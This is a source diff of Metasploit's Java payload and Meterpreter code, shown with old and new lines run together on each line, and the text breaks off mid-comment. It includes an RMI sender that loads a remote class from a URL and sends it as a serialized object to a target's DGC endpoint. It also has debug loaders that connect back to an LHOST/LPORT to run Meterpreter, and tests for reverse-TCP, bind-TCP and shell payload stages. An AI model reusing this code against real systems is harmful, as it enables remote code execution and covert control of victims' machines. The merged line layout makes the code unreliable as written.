packetBytes = packetStr.getBytes("ISO-8859-1"); packetBytes = packetStr.getBytes("ISO-8859-1");
Socket s = new Socket(args[1],Integer.parseInt(args[2])); Socket s = new Socket(args[1], Integer.parseInt(args[2]));
OutputStream out = s.getOutputStream(); OutputStream out = s.getOutputStream();
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1")); out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
out.write(packetBytes); out.write(packetBytes);
out.flush(); out.flush();
Thread.sleep(500); Thread.sleep(500);
s.close(); s.close();
} }
} }

@ -15,22 +15,23 @@ import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.tcp.TCPEndpoint;
public class RMISender { public class RMISender {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2])); Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])}); URLClassLoader ucl = new URLClassLoader(new URL[]{new URL(args[0])});
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance(); Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false)); UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
DGCImpl_Stub stub = new DGCImpl_Stub(ref); DGCImpl_Stub stub = new DGCImpl_Stub(ref);
Field f = stub.getClass().getDeclaredField("operations");; Field f = stub.getClass().getDeclaredField("operations");
f.setAccessible(true); ;
RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L); f.setAccessible(true);
ObjectOutput objectoutput = remotecall.getOutputStream(); RemoteCall remotecall = ref.newCall(stub, (Operation[]) f.get(stub), 0, 0xf6b6898d8bf28643L);
objectoutput.writeObject(new ObjID[0]); ObjectOutput objectoutput = remotecall.getOutputStream();
objectoutput.writeLong(0); objectoutput.writeObject(new ObjID[0]);
objectoutput.writeObject(loader); objectoutput.writeLong(0);
objectoutput.writeBoolean(false); objectoutput.writeObject(loader);
ref.invoke(remotecall); objectoutput.writeBoolean(false);
ref.done(remotecall); ref.invoke(remotecall);
} ref.done(remotecall);
}
} }

@ -10,13 +10,13 @@ import java.io.OutputStream;
*/ */
public class MeterpDummy { public class MeterpDummy {
public MeterpDummy(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception { public MeterpDummy(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
byte[] buffer = new byte[in.readInt()]; byte[] buffer = new byte[in.readInt()];
in.readFully(buffer); in.readFully(buffer);
DataOutputStream out = new DataOutputStream(rawOut); DataOutputStream out = new DataOutputStream(rawOut);
out.write(buffer); out.write(buffer);
out.writeBoolean(loadExtensions); out.writeBoolean(loadExtensions);
out.writeBoolean(redirectErrors); out.writeBoolean(redirectErrors);
out.close(); out.close();
} }
} }

@ -5,16 +5,16 @@ import java.io.DataOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
public class DummyStage implements Stage { public class DummyStage implements Stage {
public void start(DataInputStream in, OutputStream rawOut, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream rawOut, String[] parameters) throws Exception {
byte[] buffer = new byte[in.readInt()]; byte[] buffer = new byte[in.readInt()];
in.readFully(buffer); in.readFully(buffer);
DataOutputStream out = new DataOutputStream(rawOut); DataOutputStream out = new DataOutputStream(rawOut);
out.write(buffer); out.write(buffer);
out.writeInt(parameters.length); out.writeInt(parameters.length);
for (int i = 0; i < parameters.length; i++) { for (int i = 0; i < parameters.length; i++) {
out.writeUTF(parameters[i]); out.writeUTF(parameters[i]);
} }
in.close(); in.close();
out.close(); out.close();
} }
} }

@ -18,63 +18,63 @@ import com.metasploit.meterpreter.MeterpDummy;
public class MeterpreterTest extends TestCase { public class MeterpreterTest extends TestCase {
public void testMemoryBufferURLConnection() throws Exception { public void testMemoryBufferURLConnection() throws Exception {
final String CONTENT_TYPE = "application/x-unit-test-example"; final String CONTENT_TYPE = "application/x-unit-test-example";
byte[] randomData = new byte[4096]; byte[] randomData = new byte[4096];
new Random().nextBytes(randomData); new Random().nextBytes(randomData);
URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE); URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
URLConnection uc = url.openConnection(); URLConnection uc = url.openConnection();
uc.connect(); uc.connect();
Assert.assertEquals(CONTENT_TYPE, uc.getContentType()); Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
Assert.assertEquals(4096, uc.getContentLength()); Assert.assertEquals(4096, uc.getContentLength());
ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayOutputStream out = new ByteArrayOutputStream();
StreamForwarder.forward(uc.getInputStream(), out); StreamForwarder.forward(uc.getInputStream(), out);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(out.toByteArray(), "ISO-8859-1")); Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(out.toByteArray(), "ISO-8859-1"));
} }
public void testMeterpreterStage() throws Exception { public void testMeterpreterStage() throws Exception {
// build dummy Meterpreter stage // build dummy Meterpreter stage
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos); DataOutputStream dos = new DataOutputStream(baos);
StreamForwarder.forward(MeterpDummy.class.getResourceAsStream(MeterpDummy.class.getSimpleName()+".class"), baos); StreamForwarder.forward(MeterpDummy.class.getResourceAsStream(MeterpDummy.class.getSimpleName() + ".class"), baos);
String meterpDummy = new String(baos.toByteArray(), "ISO-8859-1").replace("MeterpDummy", "Meterpreter"); String meterpDummy = new String(baos.toByteArray(), "ISO-8859-1").replace("MeterpDummy", "Meterpreter");
baos.reset(); baos.reset();
JarOutputStream jos = new JarOutputStream(baos); JarOutputStream jos = new JarOutputStream(baos);
jos.putNextEntry(new ZipEntry("com/metasploit/meterpreter/Meterpreter.class")); jos.putNextEntry(new ZipEntry("com/metasploit/meterpreter/Meterpreter.class"));
jos.write(meterpDummy.getBytes("ISO-8859-1")); jos.write(meterpDummy.getBytes("ISO-8859-1"));
jos.close(); jos.close();
byte[] dummyJar = baos.toByteArray(); byte[] dummyJar = baos.toByteArray();
// build payload // build payload
baos.reset(); baos.reset();
dos.writeInt(dummyJar.length); dos.writeInt(dummyJar.length);
dos.write(dummyJar); dos.write(dummyJar);
byte[] randomData = new byte[4096]; byte[] randomData = new byte[4096];
new Random().nextBytes(randomData); new Random().nextBytes(randomData);
dos.writeInt(randomData.length); dos.writeInt(randomData.length);
dos.write(randomData); dos.write(randomData);
byte[] payload = baos.toByteArray(); byte[] payload = baos.toByteArray();
// test payload with output redirection enabled // test payload with output redirection enabled
baos.reset(); baos.reset();
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[] {"Payload", "--", "Meterpreter"}); new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[]{"Payload", "--", "Meterpreter"});
DataInputStream in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray())); DataInputStream in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
byte[] roundtripData = new byte[4096]; byte[] roundtripData = new byte[4096];
in.readFully(roundtripData); in.readFully(roundtripData);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1")); Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
Assert.assertEquals(true, in.readBoolean()); Assert.assertEquals(true, in.readBoolean());
Assert.assertEquals(true, in.readBoolean()); Assert.assertEquals(true, in.readBoolean());
Assert.assertEquals(-1, in.read()); Assert.assertEquals(-1, in.read());
// test payload with output redirection disabled // test payload with output redirection disabled
baos.reset(); baos.reset();
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[] {"Payload", "--", "Meterpreter", "NoRedirect"}); new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[]{"Payload", "--", "Meterpreter", "NoRedirect"});
in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray())); in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
roundtripData = new byte[4096]; roundtripData = new byte[4096];
in.readFully(roundtripData); in.readFully(roundtripData);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1")); Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
Assert.assertEquals(true, in.readBoolean()); Assert.assertEquals(true, in.readBoolean());
Assert.assertEquals(false, in.readBoolean()); Assert.assertEquals(false, in.readBoolean());
Assert.assertEquals(-1, in.read()); Assert.assertEquals(-1, in.read());
} }
} }

@ -9,19 +9,19 @@ import junit.framework.TestCase;
public class ShellTest extends TestCase { public class ShellTest extends TestCase {
public void testShellStage() throws Exception { public void testShellStage() throws Exception {
Shell shell = new Shell(); Shell shell = new Shell();
String commands = "echo MagicToken\r\nexit\r\n"; String commands = "echo MagicToken\r\nexit\r\n";
DataInputStream in = new DataInputStream(new ByteArrayInputStream(commands.getBytes("ISO-8859-1"))); DataInputStream in = new DataInputStream(new ByteArrayInputStream(commands.getBytes("ISO-8859-1")));
ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayOutputStream out = new ByteArrayOutputStream();
shell.start(in, out, new String[] {"Payload", "--", "Shell"}); shell.start(in, out, new String[]{"Payload", "--", "Shell"});
int timeout = 5000; int timeout = 5000;
while (out.size() == 0 && timeout > 0) { while (out.size() == 0 && timeout > 0) {
Thread.sleep(100); Thread.sleep(100);
timeout -= 100; timeout -= 100;
} }
String shellOutput = new String(out.toByteArray(), "ISO-8859-1"); String shellOutput = new String(out.toByteArray(), "ISO-8859-1");
Assert.assertTrue("MagicToken missing in shell output: "+shellOutput, shellOutput.contains("MagicToken")); Assert.assertTrue("MagicToken missing in shell output: " + shellOutput, shellOutput.contains("MagicToken"));
Assert.assertEquals(-1, in.read()); Assert.assertEquals(-1, in.read());
} }
} }

@ -43,219 +43,222 @@ import com.metasploit.meterpreter.MemoryBufferURLConnection;
public class PayloadTest extends TestCase { public class PayloadTest extends TestCase {
public void testReverseTCP() throws Exception { public void testReverseTCP() throws Exception {
ServerSocket ss = new ServerSocket(0); ServerSocket ss = new ServerSocket(0);
final Properties metasploitDat = new Properties(); final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress()); metasploitDat.setProperty("LHOST", "" + InetAddress.getLocalHost().getHostAddress());
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort()); metasploitDat.setProperty("LPORT", "" + ss.getLocalPort());
ExecutorService tempThread = Executors.newFixedThreadPool(1); ExecutorService tempThread = Executors.newFixedThreadPool(1);
Future handle = tempThread.submit(new Callable() { Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception { public Object call() throws Exception {
return runPayload(metasploitDat, null); return runPayload(metasploitDat, null);
} }
}); });
ss.setSoTimeout(1000); ss.setSoTimeout(1000);
try { try {
Socket s = ss.accept(); Socket s = ss.accept();
handleSocketCommunication(s); handleSocketCommunication(s);
} catch (SocketTimeoutException ex) { } catch (SocketTimeoutException ex) {
handle.get(); handle.get();
throw ex; throw ex;
} }
ss.close(); ss.close();
Assert.assertNull(handle.get()); Assert.assertNull(handle.get());
tempThread.shutdown(); tempThread.shutdown();
} }
public void testAESReverseTCP() throws Exception { public void testAESReverseTCP() throws Exception {
final String KEY = "ThisIsMyUnitTest"; final String KEY = "ThisIsMyUnitTest";
ServerSocket ss = new ServerSocket(0); ServerSocket ss = new ServerSocket(0);
final Properties metasploitDat = new Properties(); final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress()); metasploitDat.setProperty("LHOST", "" + InetAddress.getLocalHost().getHostAddress());
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort()); metasploitDat.setProperty("LPORT", "" + ss.getLocalPort());
metasploitDat.setProperty("AESPassword", KEY); metasploitDat.setProperty("AESPassword", KEY);
ExecutorService tempThread = Executors.newFixedThreadPool(1); ExecutorService tempThread = Executors.newFixedThreadPool(1);
Future handle = tempThread.submit(new Callable() { Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception { public Object call() throws Exception {
return runPayload(metasploitDat, AESEncryption.class); return runPayload(metasploitDat, AESEncryption.class);
} }
}); });
ss.setSoTimeout(5000); ss.setSoTimeout(5000);
try { try {
Socket s = ss.accept(); Socket s = ss.accept();
DataOutputStream out = new DataOutputStream(s.getOutputStream()); DataOutputStream out = new DataOutputStream(s.getOutputStream());
DataInputStream in = new DataInputStream(s.getInputStream()); DataInputStream in = new DataInputStream(s.getInputStream());
out.writeInt(0); out.writeInt(0);
SecureRandom sr = new SecureRandom(); SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16]; byte[] outIV = new byte[16];
sr.nextBytes(outIV); sr.nextBytes(outIV);
out.write(outIV); out.write(outIV);
out.flush(); out.flush();
byte[] inIV = new byte[16]; byte[] inIV = new byte[16];
in.readFully(inIV); in.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(KEY.getBytes()); byte[] keyBytes = MessageDigest.getInstance("MD5").digest(KEY.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding"); Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr); co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding"); Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr); ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
handleSocketCommunication(new CipherOutputStream(out, co), new CipherInputStream(in, ci)); handleSocketCommunication(new CipherOutputStream(out, co), new CipherInputStream(in, ci));
s.close(); s.close();
} catch (SocketTimeoutException ex) { } catch (SocketTimeoutException ex) {
handle.get(); handle.get();
throw ex; throw ex;
} }
ss.close(); ss.close();
Assert.assertNull(handle.get()); Assert.assertNull(handle.get());
tempThread.shutdown(); tempThread.shutdown();
} }
public void testBindTCP() throws Exception { public void testBindTCP() throws Exception {
ServerSocket ss = new ServerSocket(0); ServerSocket ss = new ServerSocket(0);
int port = ss.getLocalPort(); int port = ss.getLocalPort();
ss.close(); ss.close();
final Properties metasploitDat = new Properties(); final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LPORT", ""+port); metasploitDat.setProperty("LPORT", "" + port);
ExecutorService tempThread = Executors.newFixedThreadPool(1); ExecutorService tempThread = Executors.newFixedThreadPool(1);
Future handle = tempThread.submit(new Callable() { Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception { public Object call() throws Exception {
return runPayload(metasploitDat, null); return runPayload(metasploitDat, null);
}}); }
Socket s; });
for(int retry = 0;; retry++) { Socket s;
try { for (int retry = 0; ; retry++) {
s = new Socket(InetAddress.getLocalHost(), port); try {
break; s = new Socket(InetAddress.getLocalHost(), port);
} catch (ConnectException ex) { break;
if (retry == 10) } catch (ConnectException ex) {
throw ex; if (retry == 10)
Thread.sleep(500); throw ex;
} Thread.sleep(500);
} }
handleSocketCommunication(s); }
ss.close(); handleSocketCommunication(s);
Assert.assertNull(handle.get()); ss.close();
tempThread.shutdown(); Assert.assertNull(handle.get());
} tempThread.shutdown();
}
public void testSpawnReverseTCP() throws Exception { public void testSpawnReverseTCP() throws Exception {
ServerSocket ss = new ServerSocket(0); ServerSocket ss = new ServerSocket(0);
final Properties metasploitDat = new Properties(); final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress()); metasploitDat.setProperty("LHOST", "" + InetAddress.getLocalHost().getHostAddress());
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort()); metasploitDat.setProperty("LPORT", "" + ss.getLocalPort());
metasploitDat.setProperty("Spawn", "2"); metasploitDat.setProperty("Spawn", "2");
Assert.assertNull(runPayload(metasploitDat, null)); Assert.assertNull(runPayload(metasploitDat, null));
ss.setSoTimeout(10000); ss.setSoTimeout(10000);
Socket s = ss.accept(); Socket s = ss.accept();
handleSocketCommunication(s); handleSocketCommunication(s);
ss.close(); ss.close();
} }
private Object runPayload(final Properties metasploitDat, Class extraClass) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException, Exception { private Object runPayload(final Properties metasploitDat, Class extraClass) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException, Exception {
return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[] {String[].class}).invoke(null, new Object[] {new String[0]}); return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]});
} }
private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception { private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream();
StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName()+".class"), baos); StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos);
byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null; byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
baos.reset(); baos.reset();
// load the uninstrumented class as resource when running unter Cobertura so that Spawn will work // load the uninstrumented class as resource when running unter Cobertura so that Spawn will work
try { try {
ClassLoader loader = Class.forName("net.sourceforge.cobertura.coveragedata.CoverageDataFileHandler").getClassLoader(); ClassLoader loader = Class.forName("net.sourceforge.cobertura.coveragedata.CoverageDataFileHandler").getClassLoader();
if (loader instanceof URLClassLoader && ((URLClassLoader) loader).getURLs().length == 1) { if (loader instanceof URLClassLoader && ((URLClassLoader) loader).getURLs().length == 1) {
File jarFile = new File(((URLClassLoader)loader).getURLs()[0].toURI()); File jarFile = new File(((URLClassLoader) loader).getURLs()[0].toURI());
if (jarFile.getName().startsWith("surefirebooter")) { if (jarFile.getName().startsWith("surefirebooter")) {
File origFile = new File(jarFile.getParentFile().getParentFile(), "classes/metasploit/Payload.class"); File origFile = new File(jarFile.getParentFile().getParentFile(), "classes/metasploit/Payload.class");
StreamForwarder.forward(new FileInputStream(origFile), baos); StreamForwarder.forward(new FileInputStream(origFile), baos);
instrumentedPayloadClass = payloadClass; instrumentedPayloadClass = payloadClass;
payloadClass = baos.toByteArray(); payloadClass = baos.toByteArray();
baos.reset(); baos.reset();
} }
} }
} catch (ClassNotFoundException ex) {} } catch (ClassNotFoundException ex) {
byte[] extraClassBytes = null; }
if (extraClass != null) { byte[] extraClassBytes = null;
StreamForwarder.forward(extraClass.getResourceAsStream(extraClass.getSimpleName()+".class"), baos); if (extraClass != null) {
extraClassBytes = baos.toByteArray(); StreamForwarder.forward(extraClass.getResourceAsStream(extraClass.getSimpleName() + ".class"), baos);
baos.reset(); extraClassBytes = baos.toByteArray();
} baos.reset();
JarOutputStream jos = new JarOutputStream(baos); }
jos.putNextEntry(new ZipEntry("metasploit.dat")); JarOutputStream jos = new JarOutputStream(baos);
metasploitDat.store(jos, null); jos.putNextEntry(new ZipEntry("metasploit.dat"));
jos.putNextEntry(new ZipEntry("metasploit/Payload.class")); metasploitDat.store(jos, null);
jos.write(payloadClass); jos.putNextEntry(new ZipEntry("metasploit/Payload.class"));
if (extraClass != null) { jos.write(payloadClass);
jos.putNextEntry(new ZipEntry(extraClass.getName().replace('.','/')+".class")); if (extraClass != null) {
jos.write(extraClassBytes); jos.putNextEntry(new ZipEntry(extraClass.getName().replace('.', '/') + ".class"));
} jos.write(extraClassBytes);
jos.close(); }
byte[] payloadJar = baos.toByteArray(); jos.close();
final byte[] classToDefine = instrumentedPayloadClass; byte[] payloadJar = baos.toByteArray();
return new URLClassLoader(new URL[] {MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) { final byte[] classToDefine = instrumentedPayloadClass;
{ return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
if (classToDefine != null) { {
defineClass(null, classToDefine, 0, classToDefine.length); if (classToDefine != null) {
} defineClass(null, classToDefine, 0, classToDefine.length);
} }
protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { }
// do not load classes from metasploit package from parent class loader!
if (name.startsWith("metasploit.")) {
Class clazz = findLoadedClass(name);
if (clazz == null) {
clazz = findClass(name);
if (resolve) {
resolveClass(clazz);
}
}
return clazz;
} else {
return super.loadClass(name, resolve);
}
}
public URL getResource(String name) {
URL result = findResource(name);
if (result != null)
return result;
return super.getResource(name);
}
};
}
private void handleSocketCommunication(Socket socket) throws Exception { protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
handleSocketCommunication(socket.getOutputStream(), socket.getInputStream()); // do not load classes from metasploit package from parent class loader!
socket.close(); if (name.startsWith("metasploit.")) {
} Class clazz = findLoadedClass(name);
if (clazz == null) {
clazz = findClass(name);
if (resolve) {
resolveClass(clazz);
}
}
return clazz;
} else {
return super.loadClass(name, resolve);
}
}
private void handleSocketCommunication(OutputStream out, InputStream in) throws Exception { public URL getResource(String name) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); URL result = findResource(name);
StreamForwarder.forward(Stage.class.getResourceAsStream(Stage.class.getSimpleName()+".class"), baos, false); if (result != null)
byte[] stageClass = baos.toByteArray(); return result;
baos.reset(); return super.getResource(name);
StreamForwarder.forward(DummyStage.class.getResourceAsStream(DummyStage.class.getSimpleName()+".class"), baos); }
byte[] dummyStageClass = baos.toByteArray(); };
baos.close(); }
DataOutputStream dos = new DataOutputStream(out);
dos.writeInt(stageClass.length); private void handleSocketCommunication(Socket socket) throws Exception {
dos.write(stageClass); handleSocketCommunication(socket.getOutputStream(), socket.getInputStream());
dos.writeInt(dummyStageClass.length); socket.close();
dos.write(dummyStageClass); }
dos.writeInt(0);
byte[] randomData = new byte[4096]; private void handleSocketCommunication(OutputStream out, InputStream in) throws Exception {
new Random().nextBytes(randomData); ByteArrayOutputStream baos = new ByteArrayOutputStream();
dos.writeInt(randomData.length); StreamForwarder.forward(Stage.class.getResourceAsStream(Stage.class.getSimpleName() + ".class"), baos, false);
dos.write(randomData); byte[] stageClass = baos.toByteArray();
dos.flush(); baos.reset();
DataInputStream dis = new DataInputStream(in); StreamForwarder.forward(DummyStage.class.getResourceAsStream(DummyStage.class.getSimpleName() + ".class"), baos);
byte[] roundtripData = new byte[4096]; byte[] dummyStageClass = baos.toByteArray();
dis.readFully(roundtripData); baos.close();
String[] params = new String[dis.readInt()]; DataOutputStream dos = new DataOutputStream(out);
for (int i = 0; i < params.length; i++) { dos.writeInt(stageClass.length);
params[i] = dis.readUTF(); dos.write(stageClass);
} dos.writeInt(dummyStageClass.length);
Assert.assertEquals(-1, dis.read()); dos.write(dummyStageClass);
Assert.assertEquals(2, params.length); dos.writeInt(0);
Assert.assertEquals("Payload", params[0]); byte[] randomData = new byte[4096];
Assert.assertEquals("--", params[1]); new Random().nextBytes(randomData);
} dos.writeInt(randomData.length);
dos.write(randomData);
dos.flush();
DataInputStream dis = new DataInputStream(in);
byte[] roundtripData = new byte[4096];
dis.readFully(roundtripData);
String[] params = new String[dis.readInt()];
for (int i = 0; i < params.length; i++) {
params[i] = dis.readUTF();
}
Assert.assertEquals(-1, dis.read());
Assert.assertEquals(2, params.length);
Assert.assertEquals("Payload", params[0]);
Assert.assertEquals("--", params[1]);
}
} }

@ -7,29 +7,29 @@ import java.net.Socket;
/** /**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled. * A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
* *
* @author mihi * @author mihi
*/ */
public class DebugLoader { public class DebugLoader {
/** /**
* Main entry point. * Main entry point.
*/ */
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length < 2) { if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]"); System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
return; return;
} }
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1])); Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
DataInputStream in = new DataInputStream(msgsock.getInputStream()); DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream()); OutputStream out = new DataOutputStream(msgsock.getOutputStream());
int coreLen = in.readInt(); int coreLen = in.readInt();
while (coreLen != 0) { while (coreLen != 0) {
in.readFully(new byte[coreLen]); in.readFully(new byte[coreLen]);
coreLen = in.readInt(); coreLen = in.readInt();
} }
coreLen = in.readInt(); coreLen = in.readInt();
in.readFully(new byte[coreLen]); in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3); new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
msgsock.close(); msgsock.close();
} }
} }

@ -8,28 +8,28 @@ import java.net.URL;
/** /**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled. * A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
* *
* @author mihi * @author mihi
*/ */
public class URLDebugLoader { public class URLDebugLoader {
/** /**
* Main entry point. * Main entry point.
*/ */
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length < 2) { if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]"); System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
return; return;
} }
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM"); URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
DataInputStream in = new DataInputStream(initURL.openStream()); DataInputStream in = new DataInputStream(initURL.openStream());
OutputStream out = new DataOutputStream(new ByteArrayOutputStream()); OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
int coreLen = in.readInt(); int coreLen = in.readInt();
while (coreLen != 0) { while (coreLen != 0) {
in.readFully(new byte[coreLen]); in.readFully(new byte[coreLen]);
coreLen = in.readInt(); coreLen = in.readInt();
} }
coreLen = in.readInt(); coreLen = in.readInt();
in.readFully(new byte[coreLen]); in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3); new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
} }
} }

@ -6,185 +6,178 @@ import java.io.OutputStream;
/** /**
* A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels. * A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels.
* *
* @author mihi * @author mihi
*/ */
public class Channel { public class Channel {
private final InputStream in; private final InputStream in;
private final OutputStream out; private final OutputStream out;
private final int id; private final int id;
protected final Meterpreter meterpreter; protected final Meterpreter meterpreter;
private boolean active = false, closed = false, waiting = false; private boolean active = false, closed = false, waiting = false;
private byte[] toRead; private byte[] toRead;
/** /**
* Create a new "generic" channel. * Create a new "generic" channel.
* *
* @param meterpreter * @param meterpreter The meterpreter this channel should be assigned to.
* The meterpreter this channel should be assigned to. * @param in Input stream of the channel
* @param in * @param out Output stream of the channel, if any
* Input stream of the channel */
* @param out public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
* Output stream of the channel, if any this.meterpreter = meterpreter;
*/ this.id = meterpreter.registerChannel(this);
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) { this.in = in;
this.meterpreter = meterpreter; this.out = out;
this.id = meterpreter.registerChannel(this); new InteractThread(in).start();
this.in = in; }
this.out = out;
new InteractThread(in).start();
}
/** /**
* Close this channel and deregister it from the meterpreter. * Close this channel and deregister it from the meterpreter.
*/ */
public synchronized void close() throws IOException { public synchronized void close() throws IOException {
in.close(); in.close();
if (out != null) if (out != null)
out.close(); out.close();
meterpreter.channelClosed(id); meterpreter.channelClosed(id);
active = false; active = false;
closed = true; closed = true;
notifyAll(); notifyAll();
} }
/** /**
* Check whether this channel is at end of file. * Check whether this channel is at end of file.
* * <p/>
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls. * Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
*/ */
public synchronized boolean isEOF() throws IOException { public synchronized boolean isEOF() throws IOException {
if (active) if (active)
throw new IllegalStateException("Cannot read; currently interacting with this channel"); throw new IllegalStateException("Cannot read; currently interacting with this channel");
// when we are just waiting to read the EOF, close it // when we are just waiting to read the EOF, close it
if (waiting && toRead == null) if (waiting && toRead == null)
close(); close();
return closed; return closed;
} }
/** /**
* Read at least one byte, and up to maxLength bytes from this stream. * Read at least one byte, and up to maxLength bytes from this stream.
* *
* @param maxLength * @param maxLength The maximum number of bytes to read.
